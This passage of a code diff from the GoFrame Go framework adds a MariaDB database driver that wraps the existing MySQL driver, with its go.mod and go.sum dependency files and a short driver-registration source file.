github.com/tjfoc/gmsm v1.4.1 h1:aMe1GlZb+0bLjn+cKTPEvvn9oUEBlJitaZiiBwsbgho=
|
||||
github.com/tjfoc/gmsm v1.4.1/go.mod h1:j4INPkHWMrhJb38G+J6W4Tw0AbuN8Thu3PbdVYhVcTE=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
|
||||
go.opentelemetry.io/otel v1.38.0 h1:RkfdswUDRimDg0m2Az18RKOsnI8UDzppJAtj01/Ymk8=
|
||||
go.opentelemetry.io/otel v1.38.0/go.mod h1:zcmtmQ1+YmQM9wrNsTGV/q/uyusom3P8RxwExxkZhjM=
|
||||
go.opentelemetry.io/otel/metric v1.38.0 h1:Kl6lzIYGAh5M159u9NgiRkmoMKjvbsKtYRwgfrA6WpA=
|
||||
go.opentelemetry.io/otel/metric v1.38.0/go.mod h1:kB5n/QoRM8YwmUahxvI3bO34eVtQf2i4utNVLr9gEmI=
|
||||
go.opentelemetry.io/otel/sdk v1.38.0 h1:l48sr5YbNf2hpCUj/FoGhW9yDkl+Ma+LrVl8qaM5b+E=
|
||||
go.opentelemetry.io/otel/sdk v1.38.0/go.mod h1:ghmNdGlVemJI3+ZB5iDEuk4bWA3GkTpW+DOoZMYBVVg=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.38.0 h1:aSH66iL0aZqo//xXzQLYozmWrXxyFkBJ6qT5wthqPoM=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.38.0/go.mod h1:dg9PBnW9XdQ1Hd6ZnRz689CbtrUp0wMMs9iPcgT9EZA=
|
||||
go.opentelemetry.io/otel/trace v1.38.0 h1:Fxk5bKrDZJUH+AMyyIXGcFAPah0oRcT+LuNtJrmcNLE=
|
||||
go.opentelemetry.io/otel/trace v1.38.0/go.mod h1:j1P9ivuFsTceSWe1oY+EeW3sc+Pp42sO++GHkg4wwhs=
|
||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201012173705-84dcc777aaee/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.38.0 h1:jt+WWG8IZlBnVbomuhg2Mdq0+BBQaHbtqHEFEigjUV8=
|
||||
golang.org/x/crypto v0.38.0/go.mod h1:MvrbAqul58NNYPKnOra203SB9vpuZW0e+RRZV+Ggqjw=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY=
|
||||
golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
|
||||
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.25.0 h1:qVyWApTSYLk/drJRO5mDlNYskwQznZmkpV2c8q9zls4=
|
||||
golang.org/x/text v0.25.0/go.mod h1:WEdwpYrmk1qmdHvhkSTNPm3app7v4rsT8F2UD6+VHIA=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
||||
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
||||
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
|
||||
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
|
||||
google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
|
||||
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
|
||||
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
|
||||
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
|
||||
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
|
||||
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
|
||||
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
44
contrib/drivers/mariadb/go.mod
Normal file
44
contrib/drivers/mariadb/go.mod
Normal file
@ -0,0 +1,44 @@
|
||||
module github.com/gogf/gf/contrib/drivers/mariadb/v2
|
||||
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.9.7
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/BurntSushi/toml v1.5.0 // indirect
|
||||
github.com/clbanning/mxj/v2 v2.7.0 // indirect
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha // indirect
|
||||
github.com/fatih/color v1.18.0 // indirect
|
||||
github.com/fsnotify/fsnotify v1.9.0 // indirect
|
||||
github.com/go-logr/logr v1.4.3 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/go-sql-driver/mysql v1.7.1 // indirect
|
||||
github.com/google/uuid v1.6.0 // indirect
|
||||
github.com/gorilla/websocket v1.5.3 // indirect
|
||||
github.com/grokify/html-strip-tags-go v0.1.0 // indirect
|
||||
github.com/magiconair/properties v1.8.10 // indirect
|
||||
github.com/mattn/go-colorable v0.1.13 // indirect
|
||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.16 // indirect
|
||||
github.com/olekukonko/errors v1.1.0 // indirect
|
||||
github.com/olekukonko/ll v0.0.9 // indirect
|
||||
github.com/olekukonko/tablewriter v1.1.0 // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 // indirect
|
||||
go.opentelemetry.io/otel v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk v1.38.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.38.0 // indirect
|
||||
golang.org/x/net v0.40.0 // indirect
|
||||
golang.org/x/sys v0.35.0 // indirect
|
||||
golang.org/x/text v0.25.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
|
||||
replace (
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 => ../mysql
|
||||
github.com/gogf/gf/v2 => ../../../
|
||||
)
|
||||
81
contrib/drivers/mariadb/go.sum
Normal file
81
contrib/drivers/mariadb/go.sum
Normal file
@ -0,0 +1,81 @@
|
||||
github.com/BurntSushi/toml v1.5.0 h1:W5quZX/G/csjUnuI8SUYlsHs9M38FC7znL0lIO+DvMg=
|
||||
github.com/BurntSushi/toml v1.5.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
|
||||
github.com/clbanning/mxj/v2 v2.7.0 h1:WA/La7UGCanFe5NpHF0Q3DNtnCsVoxbPKuyBNHWRyME=
|
||||
github.com/clbanning/mxj/v2 v2.7.0/go.mod h1:hNiWqW14h+kc+MdF9C6/YoRfjEJoR3ou6tn/Qo+ve2s=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha h1:dwFlh8pBg1VMOXWGipNMRt8v96dKAIvBehtCt6OtunU=
|
||||
github.com/emirpasic/gods/v2 v2.0.0-alpha/go.mod h1:W0y4M2dtBB9U5z3YlghmpuUhiaZT2h6yoeE+C1sCp6A=
|
||||
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
|
||||
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
|
||||
github.com/fsnotify/fsnotify v1.9.0 h1:2Ml+OJNzbYCTzsxtv8vKSFD9PbJjmhYF14k/jKC7S9k=
|
||||
github.com/fsnotify/fsnotify v1.9.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
|
||||
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
|
||||
github.com/go-logr/logr v1.4.3 h1:CjnDlHq8ikf6E492q6eKboGOC0T8CDaOvkHCIg8idEI=
|
||||
github.com/go-logr/logr v1.4.3/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
|
||||
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
|
||||
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
|
||||
github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI=
|
||||
github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/grokify/html-strip-tags-go v0.1.0 h1:03UrQLjAny8xci+R+qjCce/MYnpNXCtgzltlQbOBae4=
|
||||
github.com/grokify/html-strip-tags-go v0.1.0/go.mod h1:ZdzgfHEzAfz9X6Xe5eBLVblWIxXfYSQ40S/VKrAOGpc=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/magiconair/properties v1.8.10 h1:s31yESBquKXCV9a/ScB3ESkOjUYYv+X0rg8SYxI99mE=
|
||||
github.com/magiconair/properties v1.8.10/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
|
||||
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/olekukonko/errors v1.1.0 h1:RNuGIh15QdDenh+hNvKrJkmxxjV4hcS50Db478Ou5sM=
|
||||
github.com/olekukonko/errors v1.1.0/go.mod h1:ppzxA5jBKcO1vIpCXQ9ZqgDh8iwODz6OXIGKU8r5m4Y=
|
||||
github.com/olekukonko/ll v0.0.9 h1:Y+1YqDfVkqMWuEQMclsF9HUR5+a82+dxJuL1HHSRpxI=
|
||||
github.com/olekukonko/ll v0.0.9/go.mod h1:En+sEW0JNETl26+K8eZ6/W4UQ7CYSrrgg/EdIYT2H8g=
|
||||
github.com/olekukonko/tablewriter v1.1.0 h1:N0LHrshF4T39KvI96fn6GT8HEjXRXYNDrDjKFDB7RIY=
|
||||
github.com/olekukonko/tablewriter v1.1.0/go.mod h1:5c+EBPeSqvXnLLgkm9isDdzR3wjfBkHR9Nhfp3NWrzo=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
|
||||
github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
|
||||
go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
|
||||
go.opentelemetry.io/otel v1.38.0 h1:RkfdswUDRimDg0m2Az18RKOsnI8UDzppJAtj01/Ymk8=
|
||||
go.opentelemetry.io/otel v1.38.0/go.mod h1:zcmtmQ1+YmQM9wrNsTGV/q/uyusom3P8RxwExxkZhjM=
|
||||
go.opentelemetry.io/otel/metric v1.38.0 h1:Kl6lzIYGAh5M159u9NgiRkmoMKjvbsKtYRwgfrA6WpA=
|
||||
go.opentelemetry.io/otel/metric v1.38.0/go.mod h1:kB5n/QoRM8YwmUahxvI3bO34eVtQf2i4utNVLr9gEmI=
|
||||
go.opentelemetry.io/otel/sdk v1.38.0 h1:l48sr5YbNf2hpCUj/FoGhW9yDkl+Ma+LrVl8qaM5b+E=
|
||||
go.opentelemetry.io/otel/sdk v1.38.0/go.mod h1:ghmNdGlVemJI3+ZB5iDEuk4bWA3GkTpW+DOoZMYBVVg=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.38.0 h1:aSH66iL0aZqo//xXzQLYozmWrXxyFkBJ6qT5wthqPoM=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.38.0/go.mod h1:dg9PBnW9XdQ1Hd6ZnRz689CbtrUp0wMMs9iPcgT9EZA=
|
||||
go.opentelemetry.io/otel/trace v1.38.0 h1:Fxk5bKrDZJUH+AMyyIXGcFAPah0oRcT+LuNtJrmcNLE=
|
||||
go.opentelemetry.io/otel/trace v1.38.0/go.mod h1:j1P9ivuFsTceSWe1oY+EeW3sc+Pp42sO++GHkg4wwhs=
|
||||
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
|
||||
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
|
||||
golang.org/x/net v0.40.0 h1:79Xs7wF06Gbdcg4kdCCIQArK11Z1hr5POQ6+fIYHNuY=
|
||||
golang.org/x/net v0.40.0/go.mod h1:y0hY0exeL2Pku80/zKK7tpntoX23cqL3Oa6njdgRtds=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
|
||||
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||
golang.org/x/text v0.25.0 h1:qVyWApTSYLk/drJRO5mDlNYskwQznZmkpV2c8q9zls4=
|
||||
golang.org/x/text v0.25.0/go.mod h1:WEdwpYrmk1qmdHvhkSTNPm3app7v4rsT8F2UD6+VHIA=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
49
contrib/drivers/mariadb/mariadb.go
Normal file
49
contrib/drivers/mariadb/mariadb.go
Normal file
@ -0,0 +1,49 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
// Package mariadb implements gdb.Driver, which supports operations for database MariaDB.
|
||||
package mariadb
|
||||
|
||||
import (
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
|
||||
"github.com/gogf/gf/contrib/drivers/mysql/v2"
|
||||
)
|
||||
|
||||
// Driver is the driver for MariaDB database.
|
||||
//
|
||||
// MariaDB is a community-developed, commercially supported fork of the MySQL relational database.
|
||||
// This driver uses the MySQL protocol to communicate with MariaDB database, as MariaDB maintains
|
||||
// high compatibility with MySQL protocol.
|
||||
//
|
||||
// Although MariaDB is compatible with MySQL protocol, it is packaged as a separate driver component
|
||||
// rather than reusing the mysql adapter directly. This design allows for future extensibility,
|
||||
// such as implementing MariaDB-specific features or optimizations.
|
||||
type Driver struct {
|
||||
*mysql.Driver
|
||||
}
|
||||
|
||||
func init() {
|
||||
var (
|
||||
err error
|
||||
driverObj = New()
|
||||
driverNames = g.SliceStr{"mariadb"}
|
||||
)
|
||||
for _, driverName := range driverNames {
|
||||
if err = gdb.Register(driverName, driverObj); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// New creates and returns a driver that implements gdb.Driver, which supports operations for MariaDB.
|
||||
func New() gdb.Driver {
|
||||
mysqlDriver := mysql.New().(*mysql.Driver)
|
||||
return &Driver{
|
||||
Driver: mysqlDriver,
|
||||
}
|
||||
}
|
||||
82
contrib/drivers/mariadb/mariadb_table_fields.go
Normal file
82
contrib/drivers/mariadb/mariadb_table_fields.go
Normal file
@ -0,0 +1,82 @@
|
||||
